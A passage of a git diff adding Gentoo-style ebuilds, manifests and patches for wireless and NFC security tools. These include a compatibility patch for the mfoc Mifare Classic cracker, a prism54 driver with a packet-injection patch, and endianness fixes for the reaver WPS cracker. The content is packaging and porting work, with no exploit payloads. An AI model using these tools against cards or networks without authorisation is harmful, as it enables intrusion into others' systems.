keys\n"); ++// fprintf(stream, " D number of distance probes, default is 20\n"); ++// fprintf(stream, " S number of sets with keystreams, default is 5\n"); ++ fprintf(stream, " P number of probes per sector, instead of default of 20\n"); ++ fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); ++// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); ++ fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); ++ fprintf(stream, "\n"); ++ fprintf(stream, "Example: mfoc -O mycard.mfd\n"); ++ fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); ++ fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); + fprintf(stream, "\n"); ++ fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); ++ fprintf(stream, "For more information, run: 'man mfoc'.\n"); + exit(errno); + } + +@@ -534,7 +544,7 @@ + // Connect to the first NFC device + r->pdi = nfc_connect(NULL); + if (!r->pdi) { +- ERR ("Unable to connect to NFC device\n"); ++ printf ("No NFC device found.\n"); + exit (EXIT_FAILURE); + } + } +@@ -671,7 +681,7 @@ + exit (EXIT_FAILURE); + } + +- if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) { ++ if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen, NULL)) { + fprintf(stdout, "Error while requesting plain tag-nonce\n"); + exit(EXIT_FAILURE); + } +diff -Nru mfoc-0.10.2/src//mifare.c mfoc/src//mifare.c +--- mfoc-0.10.2/src//mifare.c 2011-04-04 12:38:30.000000000 +0200 ++++ mfoc/src//mifare.c 2012-02-11 02:02:27.028185737 +0100 +@@ -100,7 +100,7 @@ + return false; + } + // Fire the mifare command +- if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx)) { ++ if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx, NULL)) { + if (pnd->iLastError == EINVRXFRAM) { + // "Invalid received frame" AKA EINVRXFRAM, usual means we are + // authenticated on a sector but the requested MIFARE cmd (read, write) +diff -Nru mfoc-0.10.2/src//nfc-utils.c mfoc/src//nfc-utils.c +--- mfoc-0.10.2/src//nfc-utils.c 2011-04-04 12:01:33.000000000 +0200 ++++ mfoc/src//nfc-utils.c 2012-02-11 02:02:27.028185737 +0100 +@@ -608,6 +608,51 @@ + } + + void ++print_nfc_iso14443bi_info (const nfc_iso14443bi_info_t nii, bool verbose) ++{ ++ printf (" DIV: "); ++ print_hex (nii.abtDIV, 4); ++ if (verbose) { ++ int version = (nii.btVerLog & 0x1e)>>1; ++ printf (" Software Version: "); ++ if (version == 15) { ++ printf ("Undefined\n"); ++ } else { ++ printf ("%i\n", version); ++ } ++ ++ if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x80)){ ++ printf (" Wait Enable: yes"); ++ } ++ } ++ if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x40)) { ++ printf (" ATS: "); ++ print_hex (nii.abtAtr, nii.szAtrLen); ++ } ++} ++ ++void ++print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info_t nsi, bool verbose) ++{ ++ (void) verbose; ++ printf (" UID: "); ++ print_hex (nsi.abtUID, 8); ++} ++ ++void ++print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info_t nci, bool verbose) ++{ ++ (void) verbose; ++ uint32_t uid; ++ uid = (nci.abtUID[3] << 24) + (nci.abtUID[2] << 16) + (nci.abtUID[1] << 8) + nci.abtUID[0]; ++ printf (" UID: "); ++ print_hex (nci.abtUID, sizeof(nci.abtUID)); ++ printf (" UID (decimal): %010u\n", uid); ++ printf (" Product Code: %02X\n", nci.btProdCode); ++ printf (" Fab Code: %02X\n", nci.btFabCode); ++} ++ ++void + print_nfc_dep_info (const nfc_dep_info_t ndi, bool verbose) + { + (void) verbose; +@@ -651,8 +696,7 @@ + strcpy (pndd->pcDriver, strtok (buffer, ":")); + + // Port. +- pndd->pcPort = (char *) malloc (256); +- strcpy (pndd->pcPort, strtok (NULL, ":")); ++ strcpy (pndd->acPort, strtok (NULL, ":")); + + // Speed. + sscanf (strtok (NULL, ":"), "%u", &pndd->uiSpeed); +@@ -712,6 +756,18 @@ + printf ("ISO/IEC 14443-4B (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); + print_nfc_iso14443b_info (nt.nti.nbi, verbose); + break; ++ case NMT_ISO14443BI: ++ printf ("ISO/IEC 14443-4B' (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); ++ print_nfc_iso14443bi_info (nt.nti.nii, verbose); ++ break; ++ case NMT_ISO14443B2SR: ++ printf ("ISO/IEC 14443-2B ST SRx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); ++ print_nfc_iso14443b2sr_info (nt.nti.nsi, verbose); ++ break; ++ case NMT_ISO14443B2CT: ++ printf ("ISO/IEC 14443-2B ASK CTx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); ++ print_nfc_iso14443b2ct_info (nt.nti.nci, verbose); ++ break; + case NMT_DEP: + printf ("D.E.P. (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); + print_nfc_dep_info (nt.nti.ndi, verbose); diff --git a/net-wireless/mfoc/mfoc-0.10.2.ebuild b/net-wireless/mfoc/mfoc-0.10.2.ebuild new file mode 100644 index 00000000..e5cfe04e --- /dev/null +++ b/net-wireless/mfoc/mfoc-0.10.2.ebuild @@ -0,0 +1,28 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit eutils autotools + +DESCRIPTION="Mifare Classic Offline Cracker" +HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/mfoc" +SRC_URI="https://nfc-tools.googlecode.com/files/mfoc-0.10.2.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64" +IUSE="" + +DEPEND="" +RDEPEND="${DEPEND}" + +src_prepare() { + epatch "${FILESDIR}"/${PN}-libnfc-1.5.1.patch || die + eautoreconf +} + +src_install() { + DESTDIR="${D}" emake install || die +} diff --git a/net-wireless/nfcd/Manifest b/net-wireless/nfcd/Manifest new file mode 100644 index 00000000..96f6d3f7 --- /dev/null +++ b/net-wireless/nfcd/Manifest @@ -0,0 +1 @@ +EBUILD nfcd-9999.ebuild 594 RMD160 a6943b9f5f2292e86ee46819b96a5e0a846b3274 SHA1 8243c5dd876cb14a64215f25480f5c390556b5ea SHA256 9fb7ad7c8d90883cb857a161b9b2dd0a29ba1abcd38bd350e278e5ac15dca781 diff --git a/net-wireless/nfcd/nfcd-9999.ebuild b/net-wireless/nfcd/nfcd-9999.ebuild new file mode 100644 index 00000000..38a25e14 --- /dev/null +++ b/net-wireless/nfcd/nfcd-9999.ebuild @@ -0,0 +1,27 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit cmake-utils subversion +DESCRIPTION="a daemon which access NFC Devices and Targets" +HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/nfcd" +SRC_URI="" +ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/nfcd" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64" +IUSE="" + +DEPEND="dev-libs/libndev + net-wireless/libfreefare + dev-libs/libnfc" +RDEPEND="${DEPEND}" + +src_install() { + cmake-utils_src_install + insinto /etc/dbus-1/system.d/ + doins nfcd.conf || die +} diff --git a/net-wireless/op25/Manifest b/net-wireless/op25/Manifest new file mode 100644 index 00000000..1208f361 --- /dev/null +++ b/net-wireless/op25/Manifest @@ -0,0 +1 @@ +EBUILD op25-9999.ebuild 1347 SHA256 02e2e0543124bb358efe493ef8a8502aeac9bcddb8eb92125aa8f951528b9f85 SHA512 46e7fabf56aee6a899e54a30954085eabcdc82c00fdd9f03eaace704138bb2e2acef29ddf8dedbfe2d9eb4db261d785f0516235b019356d80c3a97b7d92ff14b WHIRLPOOL 2622e6c2ee06a96fe402952202d3124bb2d712d1ee67f707db713ba90632f64fcc7ea7ead80448a2613caceeb4ad27db4d344b948371105de61b8c2efd5d21db diff --git a/net-wireless/op25/op25-9999.ebuild b/net-wireless/op25/op25-9999.ebuild new file mode 100644 index 00000000..716f0d91 --- /dev/null +++ b/net-wireless/op25/op25-9999.ebuild @@ -0,0 +1,76 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +PYTHON_DEPEND="2" + +inherit subversion autotools python + +DESCRIPTION="software-defined analyzer for APCO P25 signals" +HOMEPAGE="http://op25.osmocom.org/wiki" +ESVN_REPO_URI="http://op25.osmocom.org/svn/trunk" + +LICENSE="GPL" +SLOT="0" +KEYWORDS="-*" +IUSE="" + +DEPEND="net-wireless/gnuradio + sci-libs/itpp + dev-libs/boost + net-libs/libpcap" +RDEPEND="${DEPEND}" + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup +} + +src_prepare() { + cd "${S}"/blocks + #eautoreconf + ./bootstrap + + cd "${S}"/imbe_vocoder + #eautoreconf + ./bootstrap + + cd "${S}"/repeater + #eautoreconf + ./bootstrap +} + +src_configure() { + cd "${S}"/blocks + econf + + cd "${S}"/imbe_vocoder + econf + + cd "${S}"/repeater + econf +} +src_compile() { + cd "${S}"/blocks + sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common + emake + + cd "${S}"/imbe_vocoder + emake + + cd "${S}"/repeater + sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common + emake +} +src_install() { + cd "${S}"/blocks + emake DESTDIR="${ED}" install + + cd "${S}"/imbe_vocoder + emake DESTDIR="${ED}" install + + cd "${S}"/repeater + emake DESTDIR="${ED}" install +} diff --git a/net-wireless/prism54/ChangeLog b/net-wireless/prism54/ChangeLog new file mode 100644 index 00000000..737b8ac1 --- /dev/null +++ b/net-wireless/prism54/ChangeLog @@ -0,0 +1,49 @@ +# ChangeLog for net-wireless/prism54 +# Copyright 2000-2005 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /root/portage/net-wireless/prism54/ChangeLog,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $ + +*prism54-20050724 + + 22 mar 2006; Michael Zanetta + prism54-20050724.ebuild: Added injection patch, + removed version check + files/prism54-svn-20050724.patch: Added injection patch + + 04 Jul 2005; Stefan Schweizer + prism54-20050125.ebuild: + sys-apps/pcmcia-cs -> virtual/pcmcia(linux-mod.eclass) + +*prism54-20050125 (25 Jan 2005) + + 25 Jan 2005; Stefan Schweizer + -prism54-20040208.ebuild, +prism54-20050125.ebuild: + Version bump thanks to Scott Paul Robertson and Josh + Nichols in bug 71632 + + 03 Jan 2005; Stefan Schweizer + prism54-20040208.ebuild: + Adding block to avoid file collision with prism54-firmware + + 02 Jan 2005; Daniel Drake prism54-20040208.ebuild: + Change virtual/kernel to virtual/linux-sources + + 07 Jun 2004; Aron Griffis prism54-20040208.ebuild: + Fix typo and check + + 24 Feb 2004; Peter Johanson prism54-20040208.ebuild: + Fixed the location of the firmware file. bug #41956 + + 09 Feb 2004; Peter Johanson prism54-20040208.ebuild: + Change installation location to where prism54 people put it. + + 08 Feb 2004; Peter Johanson prism54-20040208.ebuild: + Added wireless-tools RDEPEND and info about module versioning. + +*prism54-20040208 (08 Feb 2004) + + 08 Feb 2004; Peter Johanson metadata.xml, + prism54-20040208.ebuild: + Initial commit. Thanks to all in bug #40574 for the help. For now, not + mirroring the firmware image until we know if we can. As usual, disable + sandbox to emerge with 2.6 kernels until bug #32737 is resolved. + diff --git a/net-wireless/prism54/Manifest b/net-wireless/prism54/Manifest new file mode 100644 index 00000000..8b8a4139 --- /dev/null +++ b/net-wireless/prism54/Manifest @@ -0,0 +1,5 @@ +AUX prism54-svn-20050724.patch 459 RMD160 b17c8f93fbe41a36f447414a58d91ee5c95bcc4d SHA1 4cc5a436f228940ab7fd453d0dd56e1f19a9f756 SHA256 fab08b80be596aee2b7a63790733f12a2355e3a05c57baa2e9017d897547f3fc +DIST prism54-svn-20050724.tgz 92567 RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 SHA1 b1f8d369f8fd0ecadcac8e8c9c2632cd8f59b834 SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0 +EBUILD prism54-20050724.ebuild 1511 RMD160 02c0a48a9d20b0d395f04169e071593be8fe7ffb SHA1 b9fe2d51af46002aada318a00d606592b4ca1bd5 SHA256 965e3256012d1aba92812f457d1b7ff93987d422d7270cce33f5898c93d97704 +MISC ChangeLog 1920 RMD160 422d421f8f15a530d293ea42eda014d54624c84d SHA1 71ed2c2896de4404acceb76d243030f09496cf0a SHA256 b787085201ad9f55f17321aa20d5dc977514a6f8016c9685af657c395bf5d4d3 +MISC metadata.xml 417 RMD160 9bcd8b5bc8b9ac5ace586a62a0c00b8df0d4d574 SHA1 4bccfbc845c5560cc937c0421a30a22a77f17f53 SHA256 3b334668cd4186209045d3ca8ebac10e0de886c6eff6af4a722f6f27104dc983 diff --git a/net-wireless/prism54/files/digest-prism54-20050724 b/net-wireless/prism54/files/digest-prism54-20050724 new file mode 100644 index 00000000..9fb0179f --- /dev/null +++ b/net-wireless/prism54/files/digest-prism54-20050724 @@ -0,0 +1,3 @@ +MD5 898440160410baa17d0bdf51439a1ee6 prism54-svn-20050724.tgz 92567 +RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 prism54-svn-20050724.tgz 92567 +SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0 prism54-svn-20050724.tgz 92567 diff --git a/net-wireless/prism54/files/prism54-svn-20050724.patch b/net-wireless/prism54/files/prism54-svn-20050724.patch new file mode 100755 index 00000000..aa15cb4a --- /dev/null +++ b/net-wireless/prism54/files/prism54-svn-20050724.patch @@ -0,0 +1,13 @@ +diff -ur ../prism54-svn-20050724/ksrc/islpci_dev.c ./ksrc/islpci_dev.c +--- ../prism54-svn-20050724/ksrc/islpci_dev.c 2005-03-08 16:32:34.000000000 +0100 ++++ ./ksrc/islpci_dev.c 2005-07-26 18:56:40.000000000 +0200 +@@ -758,9 +758,6 @@ + pci_unmap_single(priv->pdev, buf->pci_addr, + MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE); + buf->pci_addr = 0; +- if (buf->skb) +- dev_kfree_skb(buf->skb); +- buf->skb = NULL; + } + + /* clean up data rx buffers */ diff --git a/net-wireless/prism54/metadata.xml b/net-wireless/prism54/metadata.xml new file mode 100644 index 00000000..fb5c54c1 --- /dev/null +++ b/net-wireless/prism54/metadata.xml @@ -0,0 +1,10 @@ + + + +mobile + + latexer@gentoo.org + Peter Johanson + I don't own any cards with this chipset yet. Feel free to send me one if you want this package more actively maintained by yours truly. + + diff --git a/net-wireless/prism54/prism54-20050724.ebuild b/net-wireless/prism54/prism54-20050724.ebuild new file mode 100644 index 00000000..7db6c339 --- /dev/null +++ b/net-wireless/prism54/prism54-20050724.ebuild @@ -0,0 +1,48 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /root/portage/net-wireless/prism54/prism54-20050724.ebuild,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $ + +EAPI="2" + +inherit linux-mod + +MY_P=${P/prism54-/prism54-svn-} +S=${WORKDIR}/${MY_P} +DESCRIPTION="Driver for Intersil Prism GT / Prism Duette wireless chipsets with injection patch" +HOMEPAGE="http://prism54.org/" +SRC_URI="http://www.pentoo.ch/distfiles/${MY_P}.tgz" +LICENSE="GPL-2" +KEYWORDS="~x86" +IUSE="pcmcia" +RDEPEND="net-wireless/prism54-firmware + net-wireless/wireless-tools" + +MODULE_NAMES="prism54(net:${S}/ksrc)" +BUILD_PARAMS="KVER=${KV_FULL} KDIR=${KV_DIR}" +BUILD_TARGETS="modules" + +CONFIG_CHECK="!PRISM54 NET_RADIO FW_LOADER" +PRISM54_ERROR="You need prism54-firmware for the in-kernel driver or deselect +the in-kernel driver to use the (probably older) driver from this ebuild." +NET_RADIO_ERROR='You should enable "Wireless LAN drivers (non-hamradio) & +Wireless Extensions"[CONFIG_NET_RADIO] in your kernel config' +FW_LOADER_ERROR="Make sure you have CONFIG_FW_LOADER enabled in your kernel." + +use pcmcia && CONFIG_CHECK="${CONFIG_CHECK} PCMCIA CARDBUS" +PCMCIA_ERROR=CARDBUS_ERROR="General setup ---> + PCMCIA/CardBus support ---> + PCMCIA/CardBus support (m or y) + [*] CardBus support (Important!)" + +pkg_setup() { + linux-mod_pkg_setup +} + +src_prepare() { + epatch "${FILESDIR}"/prism54-svn-20050724.patch +} + +src_install() { + linux-mod_src_install + dodoc README ksrc/ChangeLog +} diff --git a/net-wireless/ralink-firmware/Manifest b/net-wireless/ralink-firmware/Manifest new file mode 100644 index 00000000..73f4fdff --- /dev/null +++ b/net-wireless/ralink-firmware/Manifest @@ -0,0 +1,5 @@ +DIST RT2860_Firmware_V11.zip 3891 RMD160 39db94a4856ffc5c71cdeedf8c53b98424eb3894 SHA1 88fa25ab729c7e3b5486d8ee6bb5dc9fc10335be SHA256 c178de118a1b71ef1578650b5ad12c969d3b5fd2bb7bb18fec7382e8dd9d7c6a +DIST RT2870_Firmware_V8.zip 2641 RMD160 dbb898bd4294904e9680f5f011240c336be4e9b1 SHA1 f5996f92373b69e3523da3dbc5565279ad960d44 SHA256 b2c70b20c880170110cb09af154e680961f83d45f6d1c2118c28806bcbd703b4 +DIST RT61_Firmware_V1.2.zip 13937 RMD160 6a6c5e85d7d56c0a6aac5ad528baae356bda269d SHA1 8a50899160d1ef1cd9770e4f0426930fb2b42a1b SHA256 481f113c505ed186049287bd8e9ad8fcb8dbbb32f3bb718f04e4dc148b63c8e4 +DIST RT71W_Firmware_V1.8.zip 2679 RMD160 ffc588f9cd49b3f49b3d4087d097ea4f26ee075d SHA1 51541bec5cf2fe6ff46e46a0bb157b774d2ff050 SHA256 e2d3ac1aaf4815e0c9531bc3fb7f56f30604cd52351332f1f8d6a28bb9a953bf +EBUILD ralink-firmware-20090213.ebuild 1012 RMD160 a68eb8d713cdd18361f17e9d9653cd9364f70e6e SHA1 a1031ffa23e06a55c4bbf769327f55b5d80c8f0c SHA256 9ba23c98944f084d0c0742a2ebc693b5a95539214bf55fd694522d5979bef388 diff --git a/net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild b/net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild new file mode 100644 index 00000000..2bcb85f8 --- /dev/null +++ b/net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild @@ -0,0 +1,32 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +DESCRIPTION="All publicly released Ralink Firmware files from their website" +HOMEPAGE="http://www.ralinktech.com/ralink/Home/Support/Linux.html" +SRC_URI="http://www.ralinktech.com.tw/data/RT61_Firmware_V1.2.zip + http://www.ralinktech.com.tw/data/RT71W_Firmware_V1.8.zip + http://www.ralinktech.com.tw/data/drivers/RT2870_Firmware_V8.zip + http://www.ralinktech.com.tw/data/drivers/RT2860_Firmware_V11.zip" + +LICENSE="Ralink" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="|| ( >=sys-fs/udev-096 >=sys-apps/hotplug-20040923 ) + app-arch/unzip" + +src_compile() { + einfo "nothing to compile" +} + +src_install() { + S="${WORKDIR}" + insinto /lib/firmware + doins "${S}"/RT2860_Firmware_V11/*.bin + doins "${S}"/RT61_Firmware_V1.2/*.bin + doins "${S}"/RT2870_Firmware_V8/*.bin + doins "${S}"/RT71W_Firmware_V1.8/*.bin + dodoc "${S}"/RT2860_Firmware_V11/LICENSE.ralink-firmware.txt || die "dodoc failed" +} diff --git a/net-wireless/reaver/ChangeLog b/net-wireless/reaver/ChangeLog new file mode 100644 index 00000000..ba0bca66 --- /dev/null +++ b/net-wireless/reaver/ChangeLog @@ -0,0 +1,10 @@ +# ChangeLog for net-wireless/reaver +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/ChangeLog,v 1.1 2012/05/15 19:39:11 maksbotan Exp $ + +*reaver-1.4 (15 May 2012) + + 15 May 2012; Maxim Koltsov +metadata.xml, + +reaver-1.4.ebuild: + Add net-wireless/reaver, thanks to Oleg Kravchenko + diff --git a/net-wireless/reaver/Manifest b/net-wireless/reaver/Manifest new file mode 100644 index 00000000..67732757 --- /dev/null +++ b/net-wireless/reaver/Manifest @@ -0,0 +1,12 @@ +AUX 0001-wpscrack-big-endian-fixes.patch 21117 SHA256 dd44a966424a5c207db5658374ce68232a7a3cacdcce90772f7c610c441c7d26 SHA512 e6de886ba2f63cee8fd9324c512e5060164fe5eef35633b105ccb5aea11bbf1f3d43ca5b84a81b6312085d03be098945d231655dab4beb5719f45abfdb128f17 WHIRLPOOL adf26ab9c6ee24c44556e77d82fe42d869d44ac42f36becc4f6e95af0de680fa23de6caf81c612af0d723f20a585ea242d1fb1fba97efee952350d465b06001b +AUX 0002-Use-the-current-directory-for-storing-and-loading-se.patch 1672 SHA256 8decc8453936f10df1ec5af8ce5322c527853ed7fde3fccf2996d92f64ecc691 SHA512 3fa5ba7e0b3784bfe4d28efa63dd9ef64d496c33d6538d38fc867c669ac978d1a4512334a1103eb9bf0f898e12b839dbe287bddad6238f54979b17ba0ffd095e WHIRLPOOL a944fecee470fc57fe2211a335d08ead2a7976839b7da2159b49929e93c1d2027ca64b0ad8ed49bb4ceeed67ed1407f7a1d626316ca536d1972aeb4e540e22a6 +AUX 0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch 1604 SHA256 02ecd27516806917d2970d67f408139f50644bb3bdfed94300ea4703e295b468 SHA512 8960223cf5f84a7b999b2b79d195d2b5e690dd66338f97549a931df9b4156823190b03f37702317fb3af6aac91712b46866dba955b0ee60f6dd4a3630f1b7fd5 WHIRLPOOL 8f4335d3786e893ceedf6a6949903b6fecd29566746ccb4fd95e57236195ea23fa68548e769d1e1cbd3ac2e8cfca2167b99242d7a3a086460f47676ce9191df4 +AUX 0004-wash-probe-request.patch 687 SHA256 66b27d18353ba85612dfd4806a730ca004027a86b80de5bc8a0c869800e429a9 SHA512 cdf1bf370b2915dd87afe93aa8df4db0ad9124eb076ce1398a384afe1b5e66c9499c891857b21ec7897d0d52a1fea0ad635163d796eca981db7956d8bb7c7c6e WHIRLPOOL ae381d3598721151beed7eef46678e0208baf64905bb1200eda547be7d500ea7d6a9cd27033385982cea0b117bca167848f6c5fd93808000ec792f95b10a04e8 +AUX 0005-soreau-show-status-r2.patch 2378 SHA256 ff0b84b2c31fe69a990a2a3b2a161fd83d6b05d9fafc27cbe61d76e2862c5f82 SHA512 558c1c393276bb5c65ef8a32e9b0cdbd1cf55c08a11ddcfdd73f90a901a709f2306d89f2eeab509f97478f9807401784fcb1bad0159c97b1f64f85701cfbab6a WHIRLPOOL c6b180ed58ae5bfbfa62ffbfef2ba812c0d8ee54a52520c98411a0aad4fac6ad2ea9f9a76663e6781af00f324573c52b4381157cc9867ca1a1db505b66821523 +AUX 0005-soreau-show-status.patch 2378 SHA256 0c7ef676d989139b599da93de20586bc78a8f18208696ff3b76144791720fbe7 SHA512 9211353efe8c47defe924b2afce2f3412089ce810bbe48e8dbf47b7a648972d09ef74b9d1ca2de907975bb28b5aace70d86c1656b326e65d0298f023a5bb0936 WHIRLPOOL cda5ddcc3a976b2d9519ffe4ecc2c870caebd4a5daa62f6ce130e84338e843eb01efb36dce0c63ebb1197f4daecd99921cca9473809a94e5006be73f2f6acb7f +DIST reaver-1.4.tar.gz 766603 SHA256 add3050a4a05fe0ab6bfb291ee2de8e9b8a85f1e64ced93ee27a75744954b22d SHA512 59f2d6f8aa6228988ce5d1c102d9a48b2a23e582ff3d9afe39d7c9717b7e4be059362fdd21a3e5f5d59948df1a7616acdaa6df20f139e9c5aa9bd673f764dfbc WHIRLPOOL 5b8a91fe97bf08d6dc544b41dd04baedb9488d574e9a0695d8babeb34a9fa5acc81cfc86899c600b12b445cb83887dfbb18517f2ebbd5d34ab27e8c9ce428e38 +EBUILD reaver-1.4-r1.ebuild 840 SHA256 81c5f8f881ed104f4aa3e3e9128db188735e1679eb1e311a34c160281886efbf SHA512 4beab059d5ac2de4bd45e7382f9e67c1387fd984c8dba6efe0789528123b665b29d6f3874ad2dd4a4c4366a1c4d0fc3f06a09da158ed91aef5ea56390c4b1a2d WHIRLPOOL cb8016ade89e0f0b4b72be9507552305a5496c650555e34b016628f1841bcb26d9474be955871875cb9c535b07825b46f8501b65060258b6fb625576164e239c +EBUILD reaver-1.4-r2.ebuild 933 SHA256 33130d270a2862b91f3893d9a91bf4bf7cea4368357c7fc38205330b69a0a57a SHA512 2653ed7172b1f4fd068ed75c9adaa0a6d3161e014c5a65fdc35f598683b0e97bdddeca7635dde1f0b0b03f7c431b07a09d1770132c0c5199cd0a37c6bc9f5879 WHIRLPOOL 82bb0adf3f85ba886e389bcb2708d1a942cb22a8c0ff7529d0044c6ebd87c6b1b5eaea89a79571120d4a0f0ba469732009f0cc0f37d41fb8c7971bb630fe2681 +EBUILD reaver-1.4-r3.ebuild 954 SHA256 2ba94abd0d367d5faa1283490b4e92b857e2389c26b5f5d980c39d26064a233e SHA512 d2124d31311aad3779f3ceba76ef649c72c63d5f57051d1db31ea57b4eaa8330c04bd605ae07bb8c9beca72f90386d19e0d576fc8093342bb3e59b7f6f9d8d31 WHIRLPOOL 9a9af4a366fc6f7d6e78da4e26975467461327838fc207ea6234a9b5a22cfd9cbcb365352b3985501150cd1e1ce80dc9a3fa8e77a01cedd5ce953370b58c59c7 +MISC ChangeLog 384 SHA256 75ed384fee5277726aba559464ada1975a27228860de9856bb8ea5b1d2f0e610 SHA512 46e5da5e6b98546f0f4ef77af00fb48ef0a293bc6935648e63a571caae6d605b20eaf3ea9c5763fa4848a7a6343fb047820e46925cf56bcb1063c35d304672bb WHIRLPOOL 3e0eb8f278eb5c0e78618a1da83767dc9448aab6aedd7064b5fecc4bb75fc0ad657750e74f0adc1953cb634d0f18b45b2c9f865f9fcb99a7536d12d5dfb371ce +MISC metadata.xml 249 SHA256 47ff8178840f738d37ca36d24fd9ec2823cd324e7510fc69a25621824f69e302 SHA512 fbca9bfde0fceeb77572d70902f1c76e4e132f7c0717a9cf4d4d1da37fafa08fd6d2df521a00fc6a9595f21141a6c8a21366afbadb950eb54f8480b498a41e65 WHIRLPOOL e0254e45cbd140b5ff3592720a06479367f3d769ef7ad3d7a0766f2db22706edebbf974b5926cef6add2b55e6bad0f698b9ec316c7a9fa53cdbee12bd7e13121 diff --git a/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch new file mode 100644 index 00000000..da76c2e3 --- /dev/null +++ b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch @@ -0,0 +1,565 @@ +From 4e7af9f022996cb0a03b30f6af265b757807dfa2 Mon Sep 17 00:00:00 2001 +From: Paul Fertser +Date: Wed, 27 Jun 2012 17:44:55 +0400 +Subject: [PATCH 1/3] wpscrack: big-endian fixes + +This should fix access to the radiotap, 802.11, LLC/SNAP and WFA +headers' fields. Run-time tested on an ar71xx BE system. + +Signed-off-by: Paul Fertser +--- + src/80211.c | 65 +++++++++++++++++++------------ + src/builder.c | 23 +++++------ + src/defs.h | 116 +++++++++++++++++++++++++++++++++++++++----------------- + src/exchange.c | 23 ++++++----- + src/wpsmon.c | 13 ++++-- + 5 files changed, 151 insertions(+), 89 deletions(-) + +diff --git a/src/80211.c b/src/80211.c +index c2aff59..19f1e92 100644 +--- a/src/80211.c ++++ b/src/80211.c +@@ -90,17 +90,19 @@ void read_ap_beacon() + if(header.len >= MIN_BEACON_SIZE) + { + rt_header = (struct radio_tap_header *) radio_header(packet, header.len); +- frame_header = (struct dot11_frame_header *) (packet + rt_header->len); +- ++ size_t rt_header_len = __le16_to_cpu(rt_header->len); ++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len); ++ + if(is_target(frame_header)) + { +- if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON) ++ if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) == ++ __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON)) + { +- beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header)); ++ beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header)); + set_ap_capability(beacon->capability); + + /* Obtain the SSID and channel number from the beacon packet */ +- tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); ++ tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame); + channel = parse_beacon_tags(packet, header.len); + + /* If no channel was manually specified, switch to the AP's current channel */ +@@ -135,29 +137,31 @@ int8_t signal_strength(const u_char *packet, size_t len) + { + header = (struct radio_tap_header *) packet; + +- if((header->flags & SSI_FLAG) == SSI_FLAG) ++ uint32_t flags = __le32_to_cpu(header->flags); ++ ++ if((flags & SSI_FLAG) == SSI_FLAG) + { +- if((header->flags & 